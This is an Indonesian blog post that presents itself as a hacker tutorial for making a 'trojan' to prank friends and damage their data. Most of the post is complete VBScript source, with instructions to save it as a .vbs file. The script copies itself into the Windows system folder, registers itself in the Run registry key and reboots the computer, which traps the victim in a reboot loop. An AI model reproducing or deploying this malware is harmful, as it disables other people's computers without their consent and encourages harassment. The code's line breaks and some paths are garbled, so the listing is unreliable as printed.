TRIK HACKER : CARA BUAT VIRUS TORJAN

Diposkan olehirwan paku alam


Bagi2 ilmu nih sob.. buat kamu2 yang pengen isengin temen... n sekalian pengen rusak data2nya. ni ada cra gampang buat Virus dengan notepad.
*note copy semua source berikut kedalam notepad save as .Vbs (jika ingin mengaktifkan) jika tidak biarkan tetap dalam file exstensi.txt  exampel : TheSKY_trojanhours.VBS

Copy semua source di bawah ini:

rem - dlRB "DL Reboot" Trojan script by I.T.S.

On Error Resume Next dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject ("Scripting.FileSystemObject") set sysDir = FSobj.GetSpecialFolder (1)

createRegKey "HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\Run \dlRB",sysDir&"\dlRB.vbs"

sub createRegKey (regKey,regVal) set regEdit = CreateObject ("WScript.Shell") regEdit.RegWrite regKey,regVal end sub

set generateCopy=FSobj.CreateTextFile (sysDir+"\dlRB.vbs") generateCopy.close

set newFile = FSobj.OpenTextFile (WScript.ScriptFullname,1) setFile() fixedCode=replace (fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile (sysDir+"\dlRB.vbs",2) procreateCopy.write fixedCode procreateCopy.close

rebootSystem()

function setFile() fileData="rem - ^dlRB^ by D.L." &vbcrlf& _ "strComputer = ^.^ " &vbcrlf& _ "Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _ "& ^ {impersonationLevel=impersonate, (Shutdown)}!\\^ & strComputer & ^\root \cimv2^)" &vbcrlf& _ "Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _ "(^Select * from Win32_OperatingSystem^)" &vbcrlf& _ "For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _ "ObjOperatingSystem.Reboot ()" &vbcrlf& _ "Next" end function

function rebootSystem() strComputer = "."

Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate, (Shutdown)}!\\" & strComputer & "\root \cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _ ("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot () Next end function

selamat mencoba and good luck ..

{ 0 komentar... read them below or add one }

Post a Comment

berkomentarlah sewajarnya ..